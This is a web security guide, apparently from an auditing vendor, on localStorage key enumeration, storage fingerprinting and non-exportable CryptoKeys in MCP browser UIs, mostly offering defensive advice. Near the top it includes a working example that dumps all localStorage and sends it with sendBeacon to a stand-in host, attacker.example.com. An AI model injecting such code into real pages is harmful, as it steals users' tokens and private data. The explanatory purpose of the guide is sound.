MCP Server Security · Web Storage · localStorage · Key Enumeration · XSS

MCP server Web Storage key enumeration security — localStorage key scanning, storage fingerprinting, XSS-based storage exfiltration, and IndexedDB with non-exportable keys in MCP browser UIs

localStorage and sessionStorage are fully enumerable by any same-origin script. The localStorage.key(i) method (0-indexed) returns every key name in the storage, and localStorage.length gives the total count. This means a same-origin XSS injected into MCP tool output can loop through all keys and read all values in a single synchronous operation — no async requests, no permissions, no user interaction. The attack is instant and comprehensive. Beyond the values themselves, key names alone reveal application structure: route names, user IDs embedded in keys, active feature flags, subscription tier identifiers, and session state machine names. Storage fingerprinting from key patterns is possible without reading any values at all.

Full storage enumeration — one synchronous loop

There is no partial access model for Web Storage. A script that can read one key can read all keys. The enumeration is synchronous and complete:

// Complete localStorage enumeration in a single loop — no async, no permissions
function exfiltrateStorage() {
  const dump = {};
  for (let i = 0; i < localStorage.length; i++) {
    const key = localStorage.key(i);
    dump[key] = localStorage.getItem(key);
  }
  return dump;
}

// Send all storage to attacker endpoint via beacon (survives tab close, no CORS preflight)
const data = exfiltrateStorage();
navigator.sendBeacon(
  'https://attacker.example.com/collect',
  JSON.stringify(data)   // text/plain CORS simple request — no preflight required
);

// Example of what key names alone reveal even before reading values:
// "user:u_8a3f9c2d:profile"        → user ID u_8a3f9c2d is logged in
// "feature:beta-dashboard:enabled" → beta dashboard is enabled for this user
// "session:v2:last-route"          → using v2 session format; last route name readable
// "audit:repo:github.com/org/repo" → this user recently audited a specific repo

Never store secrets, session tokens, or credentials in localStorage. They are readable by any same-origin script, including XSS injections from MCP tool output. Use HttpOnly cookies for session tokens (immune to JavaScript access) or the Web Crypto API with IndexedDB for non-exportable signing keys. sessionStorage is not meaningfully more secure than localStorage — it shares the same same-origin read access model; the only difference is tab lifetime.

Storage fingerprinting from key patterns

Key names are metadata. Even if all values were encrypted, key patterns expose application state. Consider what can be inferred from key names alone:

Key patternWhat it revealsRisk
user:{userId}:*Logged-in user ID, embeds in key nameUser identity exposed to any same-origin XSS
feature:{name}:enabledWhich feature flags are active for this userCompetitive intelligence; flag targeting
plan:{tier}Current subscription tier (free/pro/team)Leaks billing status to injected scripts
oauth:{provider}:token-expiresWhich OAuth providers are connected; token ageConnected account enumeration
audit:last:{repoUrl}Last audited repository URLPrivate repo URLs exposed to tool output XSS
session:v{N}:*Session format version; allows version downgrade attacksProtocol version leakage

Prefix-based namespacing — partial mitigation

Prefix-based namespacing does not hide data from same-origin XSS, but it does improve auditability and makes storage access patterns legible in CSP reporting and security reviews. It also prevents key collisions across independently loaded third-party scripts:

// Prefix-based storage access — scoped to application namespace
const STORAGE_PREFIX = 'skillaudit_v2_';

function storageGet(key) {
  return localStorage.getItem(STORAGE_PREFIX + key);
}

function storageSet(key, value) {
  localStorage.setItem(STORAGE_PREFIX + key, value);
}

// Do NOT use user IDs or other identifying data in key names
// BAD:  localStorage.setItem(`user:${userId}:prefs`, JSON.stringify(prefs))
// GOOD: localStorage.setItem(`skillaudit_v2_user_prefs`, JSON.stringify(prefs))
// The value may contain userId; the key should not

IndexedDB with non-exportable CryptoKey — the right pattern for key material

For cryptographic keys used in MCP server signing or encryption, use the Web Crypto API with extractable: false. Non-extractable keys can be used for sign() / encrypt() / decrypt() operations but cannot be exported via crypto.subtle.exportKey() — a same-origin XSS can trigger operations with the key but cannot exfiltrate the raw key bytes:

// Generate a non-exportable signing key — cannot be exfiltrated even by same-origin XSS
const signingKey = await crypto.subtle.generateKey(
  { name: 'ECDSA', namedCurve: 'P-256' },
  false,           // ← extractable: false — key bytes cannot be exported
  ['sign', 'verify']
);

// Store the non-exportable key in IndexedDB
const db = await openDatabase();
const tx = db.transaction('keys', 'readwrite');
tx.objectStore('keys').put(signingKey, 'mcp-signing-key');

// Later: use the key for signing without exposing the raw material
async function signRequest(data) {
  const key = await getKeyFromIndexedDB('mcp-signing-key');
  const signature = await crypto.subtle.sign(
    { name: 'ECDSA', hash: 'SHA-256' },
    key,   // non-extractable — cannot be read by XSS, but CAN be used for sign()
    new TextEncoder().encode(data)
  );
  return signature;
}

// NOTE: Same-origin XSS can still CALL signRequest() to sign attacker-chosen data.
// Non-extractable prevents key exfiltration, not key misuse.
// Full protection requires CSP script-src to prevent injected scripts from running.

Non-exportable CryptoKey prevents raw key exfiltration, not key misuse. A same-origin XSS cannot call crypto.subtle.exportKey('raw', key) and exfiltrate the bytes, but it can call your signing function with attacker-chosen data. Complete protection requires CSP script-src to block injected scripts from running on the same origin as the key storage.

SkillAudit findings for Web Storage vulnerabilities in MCP server UIs

CRITICAL −24Session tokens or API keys stored in localStorage or sessionStorage — same-origin XSS from MCP tool output exfiltrates authentication credentials in a single synchronous loop; HttpOnly cookie is the correct storage for session tokens
HIGH −18User IDs, connected OAuth provider names, or subscription tier identifiers embedded in storage key names — key enumeration without reading any values reveals user identity and account state to any same-origin injected script
HIGH −16Cryptographic key material stored as raw bytes in localStorage under any key name — key enumeration returns the raw key string; attacker exfiltrates private signing or encryption key material in plaintext
MEDIUM −12No CSP script-src restriction on the origin that holds the Web Storage — injected scripts from tool output can enumerate and exfiltrate storage without any header-level restriction; every key and value is accessible
MEDIUM −10Private repository URLs or recently-audited asset names stored as storage keys — XSS from tool output reveals which private repos the user has audited, leaking internal codebase names to attacker
LOW −6Third-party scripts loaded on the MCP UI origin share the same localStorage namespace — no prefix isolation means third-party script keys can collide with application keys or enumerate all application keys without requiring XSS

See also: XSS security · Beacon API security · Web Crypto API security

Run a free SkillAudit on your MCP server →